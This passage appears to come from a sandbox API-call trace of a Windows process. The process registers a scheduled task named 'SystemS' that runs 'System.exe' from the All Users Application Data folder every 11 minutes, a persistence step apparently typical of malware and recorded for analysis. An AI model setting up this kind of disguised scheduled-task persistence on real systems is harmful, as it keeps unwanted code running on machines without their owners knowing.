_ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.726] lstrlenW (lpString="|z|") returned 3 [0127.726] lstrlenW (lpString="|f|") returned 3 [0127.726] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0127.726] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.726] lstrlenW (lpString="f") returned 1 [0127.726] lstrlenW (lpString="f") returned 1 [0127.726] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.726] lstrlenW (lpString="f") returned 1 [0127.726] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.726] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.726] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.726] lstrlenW (lpString="|f|") returned 3 [0127.726] lstrlenW (lpString="|f|") returned 3 [0127.726] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0127.727] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.727] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.727] GetProcessHeap () returned 0x1eb77c10000 [0127.727] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b2c0 [0127.727] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.727] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0127.727] lstrlenW (lpString="MINUTE") returned 6 [0127.727] GetProcessHeap () returned 0x1eb77c10000 [0127.727] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c1ab00 [0127.727] GetThreadLocale () returned 0x409 [0127.727] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0127.727] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.727] GetProcessHeap () returned 0x1eb77c10000 [0127.727] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x1fc) returned 0x1eb77c1abc0 [0127.727] GetProcessHeap () returned 0x1eb77c10000 [0127.727] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b4d0 [0127.727] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.727] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0127.727] lstrlenW (lpString="First") returned 5 [0127.727] GetProcessHeap () returned 0x1eb77c10000 [0127.727] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xc) returned 0x1eb77c1a8a0 [0127.727] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b560 [0127.728] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.728] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0127.728] lstrlenW (lpString="Second") returned 6 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c1a9a0 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b5c0 [0127.728] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.728] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0127.728] lstrlenW (lpString="Third") returned 5 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xc) returned 0x1eb77c1a8c0 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b7d0 [0127.728] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.728] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0127.728] lstrlenW (lpString="Fourth") returned 6 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c1a9e0 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b830 [0127.728] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.728] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0127.728] lstrlenW (lpString="Last") returned 4 [0127.728] GetProcessHeap () returned 0x1eb77c10000 [0127.728] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xa) returned 0x1eb77c1a940 [0127.728] lstrlenW (lpString="11") returned 2 [0127.729] _wtol (_String="11") returned 11 [0127.729] GetProcessHeap () returned 0x1eb77c10000 [0127.729] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b680 [0127.729] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.729] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0127.729] lstrlenW (lpString="First") returned 5 [0127.729] GetProcessHeap () returned 0x1eb77c10000 [0127.729] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xc) returned 0x1eb77c1a840 [0127.729] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.729] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0127.729] lstrlenW (lpString="Second") returned 6 [0127.729] GetProcessHeap () returned 0x1eb77c10000 [0127.729] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c1a980 [0127.729] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.729] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0127.729] lstrlenW (lpString="Third") returned 5 [0127.729] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.729] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0127.729] lstrlenW (lpString="Fourth") returned 6 [0127.729] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.729] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0127.729] lstrlenW (lpString="Last") returned 4 [0127.730] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x8f10f2c6e0, cchData=128 | out: lpLCData="0") returned 2 [0127.730] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.730] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0127.730] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a8a0) returned 1 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a8a0) returned 0xc [0127.730] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a8a0) returned 1 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x16) returned 0x1eb77c1a8a0 [0127.730] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x8f10f2c700, cchData=128 | out: lpLCData="0") returned 2 [0127.730] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.730] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0127.730] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a9a0) returned 1 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a9a0) returned 0xe [0127.730] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a9a0) returned 1 [0127.730] GetProcessHeap () returned 0x1eb77c10000 [0127.730] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x16) returned 0x1eb77c1aa20 [0127.730] GetLocalTime (in: lpSystemTime=0x8f10f2c938 | out: lpSystemTime=0x8f10f2c938*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x33, wMilliseconds=0x60)) [0127.736] lstrlenW (lpString="") returned 0 [0127.737] GetLocalTime (in: lpSystemTime=0x8f10f2d328 | out: lpSystemTime=0x8f10f2d328*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x33, wMilliseconds=0x70)) [0127.737] lstrlenW (lpString="") returned 0 [0127.737] lstrlenW (lpString="") returned 0 [0127.737] lstrlenW (lpString="") returned 0 [0127.737] lstrlenW (lpString="") returned 0 [0127.737] lstrlenW (lpString="11") returned 2 [0127.737] _wtol (_String="11") returned 11 [0127.737] lstrlenW (lpString="") returned 0 [0127.737] lstrlenW (lpString="") returned 0 [0127.737] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0127.745] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0127.796] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x8f10f2d080 | out: ppv=0x8f10f2d080*=0x1eb77de56f0) returned 0x0 [0127.817] TaskScheduler:ITaskService:Connect (This=0x1eb77de56f0, serverName=0x8f10f2d170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x8f10f2d140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x8f10f2d120*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x8f10f2d100*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0127.855] TaskScheduler:ITaskService:GetFolder (in: This=0x1eb77de56f0, Path=0x0, ppFolder=0x8f10f2d260 | out: ppFolder=0x8f10f2d260*=0x1eb77de5840) returned 0x0 [0127.859] TaskScheduler:ITaskService:NewTask (in: This=0x1eb77de56f0, flags=0x0, ppDefinition=0x8f10f2d238 | out: ppDefinition=0x8f10f2d238*=0x1eb77de58c0) returned 0x0 [0127.860] ITaskDefinition:get_Actions (in: This=0x1eb77de58c0, ppActions=0x8f10f2d180 | out: ppActions=0x8f10f2d180*=0x1eb77de5950) returned 0x0 [0127.860] IActionCollection:Create (in: This=0x1eb77de5950, Type=0, ppAction=0x8f10f2d1c0 | out: ppAction=0x8f10f2d1c0*=0x1eb77de5d60) returned 0x0 [0127.860] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.860] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.860] lstrlenW (lpString=" ") returned 1 [0127.860] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0127.860] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0127.861] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0127.861] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0127.861] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0127.862] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0127.862] IUnknown:Release (This=0x1eb77de5d60) returned 0x1 [0127.862] IUnknown:Release (This=0x1eb77de5950) returned 0x1 [0127.862] ITaskDefinition:get_Triggers (in: This=0x1eb77de58c0, ppTriggers=0x8f10f2cd30 | out: ppTriggers=0x8f10f2cd30*=0x1eb77de5c10) returned 0x0 [0127.862] ITriggerCollection:Create (in: This=0x1eb77de5c10, Type=1, ppTrigger=0x8f10f2cd18 | out: ppTrigger=0x8f10f2cd18*=0x1eb77de5df0) returned 0x0 [0127.862] lstrlenW (lpString="11") returned 2 [0127.863] _vsnwprintf (in: _Buffer=0x8f10f2cca0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x8f10f2cc98 | out: _Buffer="PT11M") returned 5 [0127.863] ITrigger:get_Repetition (in: This=0x1eb77de5df0, ppRepeat=0x8f10f2cd10 | out: ppRepeat=0x8f10f2cd10*=0x1eb77de5e80) returned 0x0 [0127.863] IRepetitionPattern:put_Interval (This=0x1eb77de5e80, Interval="PT11M") returned 0x0 [0127.863] IUnknown:Release (This=0x1eb77de5e80) returned 0x1 [0127.863] _vsnwprintf (in: _Buffer=0x8f10f2cc60, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x8f10f2cc38 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0127.863] ITrigger:put_StartBoundary (This=0x1eb77de5df0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0127.863] lstrlenW (lpString="") returned 0 [0127.863] lstrlenW (lpString="") returned 0 [0127.863] lstrlenW (lpString="") returned 0 [0127.863] lstrlenW (lpString="") returned 0 [0127.863] IUnknown:Release (This=0x1eb77de5df0) returned 0x1 [0127.863] IUnknown:Release (This=0x1eb77de5c10) returned 0x1 [0127.863] ITaskDefinition:get_Settings (in: This=0x1eb77de58c0, ppSettings=0x8f10f2d1c0 | out: ppSettings=0x8f10f2d1c0*=0x1eb77de5a90) returned 0x0 [0127.864] lstrlenW (lpString="") returned 0 [0127.864] IUnknown:Release (This=0x1eb77de5a90) returned 0x3 [0127.864] GetLocalTime (in: lpSystemTime=0x8f10f2d078 | out: lpSystemTime=0x8f10f2d078*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x33, wMilliseconds=0xed)) [0127.864] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0127.864] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x8f10f2d090, nSize=0x8f10f2d068 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x8f10f2d068) returned 0x1 [0127.865] ITaskDefinition:get_RegistrationInfo (in: This=0x1eb77de58c0, ppRegistrationInfo=0x8f10f2d060 | out: ppRegistrationInfo=0x8f10f2d060*=0x1eb77de59d0) returned 0x0 [0127.865] IRegistrationInfo:put_Author (This=0x1eb77de59d0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0127.865] _vsnwprintf (in: _Buffer=0x8f10f2d090, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x8f10f2d028 | out: _Buffer="2023-09-19T17:15:51") returned 19 [0127.865] IRegistrationInfo:put_Date (This=0x1eb77de59d0, Date="2023-09-19T17:15:51") returned 0x0 [0127.865] IUnknown:Release (This=0x1eb77de59d0) returned 0x1 [0127.865] malloc (_Size=0x18) returned 0x1eb77de5f00 [0127.865] free (_Block=0x1eb77de5f00) [0127.865] lstrlenW (lpString="") returned 0 [0127.865] malloc (_Size=0x18) returned 0x1eb77de5f00 [0127.866] ITaskFolder:RegisterTaskDefinition (in: This=0x1eb77de5840, Path="SystemS", pDefinition=0x1eb77de58c0, flags=6, UserId=0x8f10f2d2d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x8f10f2d2b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x8f10f2d2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x8f10f2d290 | out: ppTask=0x8f10f2d290*=0x1eb77de6fd0) returned 0x0 [0127.993] free (_Block=0x1eb77de5f00) [0127.993] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.993] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0127.993] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0127.994] GetProcessHeap () returned 0x1eb77c10000 [0127.994] GetProcessHeap () returned 0x1eb77c10000 [0127.994] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a8c0) returned 1 [0127.994] GetProcessHeap () returned 0x1eb77c10000 [0127.994] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a8c0) returned 0xc [0127.994] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a8c0) returned 1 [0127.994] GetProcessHeap () returned 0x1eb77c10000 [0127.994] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x82) returned 0x1eb77c36a40 [0127.994] _vsnwprintf (in: _Buffer=0x8f10f2d940, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x8f10f2d1d8 | out: _Buffer="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n") returned 69 [0127.994] __iob_func () returned 0x7ffa7941e210 [0127.994] _fileno (_File=0x7ffa7941e240) returned -2 [0127.994] _errno () returned 0x1eb77de0840 [0127.994] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0127.994] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.994] lstrlenW (lpString="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n") returned 69 [0127.994] GetConsoleOutputCP () returned 0x0 [0127.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0127.994] GetConsoleOutputCP () returned 0x0 [0127.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0127.994] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 69 [0127.995] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0127.995] IUnknown:Release (This=0x1eb77de6fd0) returned 0x0 [0127.995] TaskScheduler:IUnknown:Release (This=0x1eb77de58c0) returned 0x0 [0127.995] TaskScheduler:IUnknown:Release (This=0x1eb77de5840) returned 0x0 [0127.995] TaskScheduler:IUnknown:Release (This=0x1eb77de56f0) returned 0x0 [0127.995] lstrlenW (lpString="") returned 0 [0127.995] lstrlenW (lpString="11") returned 2 [0127.995] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0127.995] GetProcessHeap () returned 0x1eb77c10000 [0127.995] GetProcessHeap () returned 0x1eb77c10000 [0127.995] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1abc0) returned 1 [0127.995] GetProcessHeap () returned 0x1eb77c10000 [0127.995] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1abc0) returned 0x1fc [0127.996] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1abc0) returned 1 [0127.996] GetProcessHeap () returned 0x1eb77c10000 [0127.996] GetProcessHeap () returned 0x1eb77c10000 [0127.996] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13c90) returned 1 [0127.996] GetProcessHeap () returned 0x1eb77c10000 [0127.996] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13c90) returned 0x6 [0127.996] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13c90) returned 1 [0127.996] GetProcessHeap () returned 0x1eb77c10000 [0127.996] GetProcessHeap () returned 0x1eb77c10000 [0127.996] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a900) returned 1 [0127.996] GetProcessHeap () returned 0x1eb77c10000 [0127.996] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a900) returned 0x16 [0127.997] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a900) returned 1 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a9c0) returned 1 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a9c0) returned 0x18 [0127.997] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a9c0) returned 1 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b860) returned 1 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b860) returned 0x20 [0127.997] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b860) returned 1 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] GetProcessHeap () returned 0x1eb77c10000 [0127.997] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14260) returned 1 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14260) returned 0xa0 [0127.998] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14260) returned 1 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14730) returned 1 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14730) returned 0x18 [0127.998] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14730) returned 1 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] HeapValidate 